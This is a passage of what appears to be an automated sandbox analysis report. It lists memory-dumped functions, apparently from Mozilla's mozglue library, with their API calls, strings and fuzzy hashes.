ntdll.dll, xrefs: 6C9C7603

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction ID: 90c9da93e34062458f3bd1e676f4c0d51248532629542b4a153c8d366ec1daec
Opcode Fuzzy Hash: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction Fuzzy Hash: D4E04FB03093009BEF805FA7E8087013AB8EF7E75CF20401AE904C1701D772C0048F5A

Function 6C9CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9CBE49), ref: 6C9CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9CBE49), ref: 6C9CBF38
RtlReAllocateHeap.NTDLL ref: 6C9CBF83
RtlFreeHeap.NTDLL ref: 6C9CBFA6

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction ID: c94d7027fb18e47adff1cc8c2ed3a31a0e48188dade373cecd5c82c7cedae1ff
Opcode Fuzzy Hash: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction Fuzzy Hash: DB51AE71B002058FE710DF69C980BAAB7B6FF98314F298629D515A7B94D730F9168F82

Function 6C9B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8EBF
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8F46
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F8F

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction ID: 997c988fef9c425fc9a14a26dce0d82a55aca5fa4cc0e4d16343e4976a249008
Opcode Fuzzy Hash: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction Fuzzy Hash: 9C519DB1A012179FEB18CF64D8806AF77B6AF48308F25052AD916BB740E731E915CBA5

Function 6C9760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976180
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976229
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C97625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976271

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction ID: 8e770e660e1bb8a2286f818cda1fa22e4efa62bf2526dc4db1f2d203c69ee70f
Opcode Fuzzy Hash: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction Fuzzy Hash: 5851AFB1A062078FEB64CF68D8847AEB7B5EF55308F200439C656D7B11E731EA58CB61

Function 6C9B27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B289A
free.MOZGLUE(?,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B2910
free.MOZGLUE(00000001,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B294E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction ID: aefe4406774c7c74236b563b2abb29ad46d52638af37982b7f9776e172ef4c2e
Opcode Fuzzy Hash: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction Fuzzy Hash: 8541C0B1A046069FEB14CF68D98476B77FAEF45308F240939D56AEB740E731E904CBA1

Function 6C96CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C96D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C96D139

Strings

MOZ_CRASH(), xrefs: 6C96D187

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction ID: b827a1aab447cafece951804a28b06dd9090a023e854f25fb6b002e3cd707054
Opcode Fuzzy Hash: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction Fuzzy Hash: 2F41C032B053168FDB548E6E8D9036A36B4EF6DB14F350139E968E7BC4D7A298008BC4

Function 6C964DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C964EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C964F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C964F1E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction ID: a09de3c7e85f01e70f78299b8c8b463ee06a279a972c51574fa6993e6aa33c9c
Opcode Fuzzy Hash: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction Fuzzy Hash: 3641BF71608701DFD705CFAAC49095BB7E8BF99344F108A2DF46597B81DB30E958CB92

Function 6C971530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C97159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715E7
free.MOZGLUE(?,?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971637

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction ID: a0785a1095495bd582060f3a2fa357e1915c2affc6771ed56e9ef618b47b6764
Opcode Fuzzy Hash: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction Fuzzy Hash: 44310872A011058BCB2C8E78D86147E77B9BB923647350B2DE427DBBD4EB30D90487A1

Function 6C9CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAD9D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE3D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction ID: 8d238e5c3d009862783805b174708fe9cf32d3a4f99a8e378c258a7e5e44e6cd
Opcode Fuzzy Hash: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction Fuzzy Hash: D23141B1A012159FDB50DF758D44AABB7F8EF58614F15882DE84AE7700EB34E804CBE1

Function 6C9C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9DDCA0,?,?,?,6C99E8B5,00000000), ref: 6C9C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C99E8B5,00000000), ref: 6C9C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C99E8B5,00000000), ref: 6C9C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5FD6

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction ID: f9a414590b26973a5c6b41311ddc472288af0665b7a483b6a58faf607ac434de
Opcode Fuzzy Hash: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction Fuzzy Hash: E03138343046008FD724CF29C898F2AB7F9FF99318BA48558E5668BB95C731EC51CB82

Function 6C96B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C96B532
moz_xmalloc.MOZGLUE(?), ref: 6C96B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C96B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C96B57E
free.MOZGLUE(00000000), ref: 6C96B58F

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction ID: 9676f5cb0f075f62f2fbce5dfb6d78c64c86fa631dfeadf3c0c4aecc2c99451f
Opcode Fuzzy Hash: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction Fuzzy Hash: 9821F671A042059BEB008F69CC40BAABBB9FF95304F284029F918DB781F735D911D7A0

Function 6C96B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C96B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96B849

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction ID: f04d3f227f4fdd24db87a901b461dade1ad1ea0155ef6e00bc8cb938877be69d
Opcode Fuzzy Hash: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction Fuzzy Hash: 3F215AB0E04209DFEF04DFA9C8855BEBBB8EF59314F148169EC45A7740E731A944CBA0

Function 6C9C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C6E78

Part of subcall function 6C9C6A10: InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6A68
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6A7D
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6AA1
Part of subcall function 6C9C6A10: EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6AAE
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6AE1
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6B15
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9C6B65
Part of subcall function 6C9C6A10: LeaveCriticalSection.KERNEL32(6C9EF618,?,?), ref: 6C9C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9C6EFF

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction ID: 9a514d0739917882f9128245c3c7b55b6cc8dcf3d83f7db51e57820c8a551ee8
Opcode Fuzzy Hash: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction Fuzzy Hash: 9E21B071A0831A9FCB10CF29D8856AA77F8EF98308F044439E80997241EB709A58CF92

Function 6C9C76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9C7705

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9C778F,00000000,00000000,00000000,00000000), ref: 6C9C7731
free.MOZGLUE(00000000), ref: 6C9C7760

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction ID: d52661ecbf95237a25dd3d29943d3910ed5ab990e227816723e57f206e13585f
Opcode Fuzzy Hash: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction Fuzzy Hash: 621190B1A052156BE710AF668C44AABBEF8EF55654F144829E848A7200E77098548BF2

Function 6C9A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C963DEF), ref: 6C9A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C963DEF), ref: 6C9A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C963DEF), ref: 6C9A0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9A0D97, 6C9A0DBE
<jemalloc>, xrefs: 6C9A0D92, 6C9A0DB9

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction ID: d982ac9fb48c8b7aeabaa9a5a8c4f6cee19f3b4e79d3bbace27396da2ed3256f
Opcode Fuzzy Hash: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction Fuzzy Hash: 78F02E3238439423E72522E61C0AF5A366D6FD6F64F305035F206DEDC0DA54E8064AA8

Function 6C9B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9B75C4,?), ref: 6C9B762B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7644
GetCurrentThreadId.KERNEL32 ref: 6C9B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7677

Memory Dump Source

